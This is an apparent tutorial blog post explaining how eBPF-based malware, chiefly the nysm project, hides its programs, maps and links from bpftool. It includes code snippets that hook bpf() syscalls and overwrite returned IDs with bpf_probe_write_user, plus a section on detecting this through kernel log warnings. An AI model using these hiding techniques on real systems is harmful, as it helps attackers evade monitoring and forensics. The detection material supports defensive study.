eBPF Malware Techniques Part 3 - Hiding BPF Traces

1. Introduction

We’re finally gonna talk about the juicy stuff now that you are all geared up! Today, we are gonna go into a deep dive on how an eBPF application can hide itself and its child processes by understanding specific crucial Linux internals and how to circumvent them. I will be mainly using nysm, a eBPF-based malware as my prime example for hiding BPF traces.

2. eBPF Enumeration with BPF Syscalls

When working with eBPF, it’s important to understand what’s actually loaded into the kernel at any point in time. Fortunately, bpftool gives us powerful inspection capabilities through bpf() syscalls., which we will take a deeper look in a second.

To list all eBPF programs running on the system, run the following command:

$ sudo bpftool prog show

For demonstration purposes, I ran the minimal eBPF application before enumerating the eBPF programs and my output looks something like this:

...
109: cgroup_skb  name sd_fw_egress  tag 6deef7357e7b4530  gpl
	loaded_at 2025-04-25T19:35:32+0800  uid 0
	xlated 64B  jited 56B  memlock 4096B
110: cgroup_skb  name sd_fw_ingress  tag 6deef7357e7b4530  gpl
	loaded_at 2025-04-25T19:35:32+0800  uid 0
	xlated 64B  jited 56B  memlock 4096B
142: tracepoint  name handle_tp  tag 6a5dcef153b1001e  gpl
	loaded_at 2025-04-25T20:03:01+0800  uid 0
	xlated 104B  jited 67B  memlock 4096B  map_ids 24,25
	btf_id 130

Looking at the above listing, you can see that the minimal eBPF application is running one program whose prog_id is 142. We can also see that it has 2 eBPF maps with map_id 24 and 25 and a btf_id of 130. It also contains information of the type of hook, which is a tracepoint and the hook handler’s function name - handle_tp().

As this does not provide us a complete picture of what the eBPF application is doing, we need to further enumerate its maps, btf and link information. Since we already know the map_id and btf_id, we can do a direct query instead of going through the list.

$ sudo bpftool map show id 24
24: array  name minimal_.bss  flags 0x400
	key 4B  value 4B  max_entries 1  memlock 8192B
	btf_id 130

$ sudo bpftool map show id 25
25: array  name minimal_.rodata  flags 0x80
	key 4B  value 28B  max_entries 1  memlock 296B
	btf_id 130  frozen

$ sudo bpftool btf show id 130
130: name <anon>  size 602B  prog_ids 142  map_ids 25,24

At this point, we are still lacking one crucial information, and that is the actual tracepoint name. As the link_id was not displayed in our eBPF program enumeration, we have to list out all links.

$ sudo bpftool link show
5: perf_event  prog 142  
	tracepoint sys_enter_write

bpftool - Listing All Links

The output is pretty obvious as I do not have other eBPF applications running in the background except for minimal. We are finally able to connect the dots and deduce the minimal eBPF application is running one eBPF program that utilizes tracepoints to intercept at the start of every write() syscall.

Now that we have a rough idea on what’s going, we are going to switch gears delve right into the actual bpf() syscalls with strace.

$ sudo strace -e bpf bpftool prog show
...
bpf(BPF_PROG_GET_NEXT_ID, {start_id=109, next_id=0 => 110, open_flags=0}, 12) = 0
bpf(BPF_PROG_GET_FD_BY_ID, {prog_id=110, next_id=0, open_flags=0}, 12) = 3
bpf(BPF_OBJ_GET_INFO_BY_FD, {info={bpf_fd=3, info_len=232, info=0x7ffe54870d60}}, 16) = 0
...
bpf(BPF_PROG_GET_NEXT_ID, {start_id=110, next_id=0 => 142, open_flags=0}, 12) = 0
bpf(BPF_PROG_GET_FD_BY_ID, {prog_id=142, next_id=0, open_flags=0}, 12) = 3
bpf(BPF_OBJ_GET_INFO_BY_FD, {info={bpf_fd=3, info_len=232, info=0x7ffe54870d60}}, 16) = 0

Now we’re talking! Dissecting bpftool reveals the important parameters used in bpf() syscalls to enumerate through the linked list of programs. I would also like to point out that when the first parameter is BPF_PROG_GET_NEXT_ID, next_id will only get its updated value when the syscall exits. Let’s break down what the bpf() syscall parameters are according to the manual.

...
NAME
       bpf - perform a command on an extended BPF map or program

SYNOPSIS
       #include <linux/bpf.h>

       int bpf(int cmd, union bpf_attr *attr, unsigned int size);

1. int cmd - This integer constant defines the operation type.
2. union bpf_attr *attr - This is a pointer to a union bpf_attr, which is a giant union that contains the relevant fields depending on the cmd value.
3. unsigned int size - This refers to the actual size of union bpf_attr

3 Methodology on Hiding BPF Traces

If you have been following along closely so far, you will realize by now that we have 2 possible methods to hide a targeted eBPF program. We can either intercept at BPF_PROG_GET_NEXT_ID or BPF_PROG_GET_FD_BY_ID. The following listings show 2 snippets of how we can possibly hide a targeted prog_id using 2 different methods.

/* Method 1: Intercept BPF_PROG_GET_NEXT_ID @ tp/syscalls/sys_exit_bpf */
uint32_t next_id = 0;
if (cmd == BPF_PROG_GET_NEXT_ID) {
    bpf_probe_read_user(&next_id, sizeof(uint32_t), &attr->next_id)
    if (next_id == prog_id_to_hide) {
        // Skip over the target program
        uint32_t next_id = prog_id_to_hide + 1;
        bpf_probe_write_user(&attr->next_id, &next_id, sizeof(uint32_t));
    }
}

/* Method 2: Intercept BPF_PROG_GET_FD_BY_ID @ tp/syscalls/sys_enter_bpf */
uint32_t prog_id = 0;
if (cmd == BPF_PROG_GET_FD_BY_ID) { 
    bpf_probe_read_user(&prog_id, sizeof(uint32_t), &attr->prog_id)
    if (prog_id == prog_id_to_hide) {
        // Overwrite attr->prog_id to 0.
        prog_id = 0;
        bpf_probe_write_user(&attr->prog_id, &prog_id, sizeof(uint32_t));
    }
}

Of course these 2 methods only hide the eBPF prog_id. This logic can be extended to hide targeted map_id, link_id and btf_id as well.

4 Github Project - eeriedusk/nysm

Let’s now tie everything together with a real-world example: nysm. This project doesn’t just demonstrate hiding eBPF programs in theory — it actually pulls it off. Using the libbpf framework, nysm manipulates BPF syscalls in stealthy ways to hide its own existence from userland tools like bpftool.

We’re gonna break down how it works in a step-by-step fashion.

4.1 Setting Baseline

Before it hides anything, nysm first figures out what’s already on the system. This is important because it needs to distinguish between stuff that was already there, and stuff it’s about to load and should hide.

This is done in userspace (nysm.c) with a function called bpf_list_object().

static void bpf_list_object(int (*object_func)(uint32_t, uint32_t*), uint32_t *id) {
    uint32_t index   = 0;
    uint32_t next_id = 0;

    while (true) {
        if (object_func(next_id, &next_id)) break;
        id[index] = next_id;
        index++;
    }
}

run_ebpf() will call on this function 3 times with different parameters in order to populate the arrays - prog_ids, map_ids and link_ids respectively to establish a baseline.

int run_ebpf(uint32_t pid, uint32_t ppid) {
    ...
    bpf_list_object(bpf_prog_get_next_id, prog_ids);
    bpf_list_object(bpf_map_get_next_id, map_ids);
    bpf_list_object(bpf_link_get_next_id, link_ids);
    ...
}

4.2 Isolating the Namespace

To have thorough control over different processes (including itself), nysm achieves this using PID namespaces. It grabs its own namespace inode like stores it as a global variable in the .bss section.

int run_ebpf(uint32_t pid, uint32_t ppid) {
    ...
    snprintf(pidns_path, sizeof(pidns_path), "/proc/%d/ns/pid", pid+1);
    if (stat(pidns_path, &st)) goto cleanup;

    nysm->bss->pidns = st.st_ino;
    ...
}

For example, in the case of the bpf_sys_exit tracepoint, nysm ignores itself and child processes that triggers this tracepoint.

SEC("tp/syscalls/sys_exit_bpf")
int tracepoint_bpf_exit(void) {
    ...
    if (bpf_get_ns() == pidns) return 0;
    ...
}

4.3 Hiding What’s New

Once the baseline is saved and nysm’s own eBPF programs are loaded, it scans the system again. Anything new gets flagged for hiding by calling bpf_hide_diff_object(). This function compares the new list of objects with the old list. If it finds anything new, it updates a map in the kernel to mark it for hiding.

static void bpf_hide_diff_object(int map_fd, int (*object_func)(uint32_t, uint32_t*), uint32_t *id_old) {
    uint32_t index = 0;
    uint32_t next_id = 0;

    while (true) {
        if (object_func(next_id, &next_id)) break;
        if (id_old[index] != next_id) {
            bpf_map_update_elem(map_fd, &next_id, &next_id, BPF_ANY);
        }
        index++;
    }
}

Again, looking back at run_ebpf(), we can see that this function is called 3 times to populate the different object maps so that it knows exactly which object IDs to hide.

int run_ebpf(uint32_t pid, uint32_t ppid) {
    ...
    bpf_hide_diff_object(bpf_map__fd(nysm->maps.map_security_bpf_prog_id_data), bpf_prog_get_next_id, prog_ids);
    bpf_hide_diff_object(bpf_map__fd(nysm->maps.map_security_bpf_map_id_data), bpf_map_get_next_id, map_ids);
    bpf_hide_diff_object(bpf_map__fd(nysm->maps.map_bpf_link_prime_id_data), bpf_link_get_next_id, link_ids);
    ...
}

Now that the maps are populated, it’s time for the fun part.

4.4 Kernel-Space Hooking

The main magic happens in get_next_non_listed_id() at the sys_exit_bpf tracepoint. This function iterates through different object maps which previously contained a set of IDs to hide. It will then return a non-listed object ID that is used to overwrite the original value stored in uattr_ptr->next_id.

SEC("tp/syscalls/sys_exit_bpf")
int tracepoint_bpf_exit(void) {
    ...
    switch (branch) {
        case BPF_PROG_GET_NEXT_ID :
            id = get_next_non_listed_id(&map_security_bpf_prog_id_data, attr.next_id);
            break;
        case BPF_MAP_GET_NEXT_ID :
            id = get_next_non_listed_id(&map_security_bpf_map_id_data , attr.next_id);
            break;
        case BPF_LINK_GET_NEXT_ID :
            id = get_next_non_listed_id(&map_bpf_link_prime_id_data   , attr.next_id);
            break;
        default :
            return 0;
            break;
    }
    ...
    bpf_probe_write_user(&uattr_ptr->next_id, &id, sizeof(uint32_t));

    return 0;
};

4.5 Demo

5. Detection

Even though nysm was very well written, warning messages for bpf_probe_write_user will flood the kernel logs!

$ sudo dmesg
...
[ 8366.391364] nysm[10466] is installing a program with bpf_probe_write_user helper that may corrupt user memory!
...

Any EDR / SIEM that monitors these logs will definitely flag this out and serve as a pivot point for Blue Teams to do their threat hunting and forensics.

6. Conclusion

By hooking into just a few strategic syscalls and keeping track of what belongs to it, nysm manages to fool userland tools and blend into the kernel like a ghost. This kind of behavior isn’t just useful for malware, but also shows just how powerful (and dangerous) eBPF can be when used creatively.

However, there are limitations to nysm’s capabilities such as the inability to suppress warning messages in the kernel logs.

In the next part of the series, we will explore on some common techniques used to hide processes. In the meantime, I highly encourage you to look through the nysm repository source code for yourself to deepen your understanding. That’s all folks! Till next time…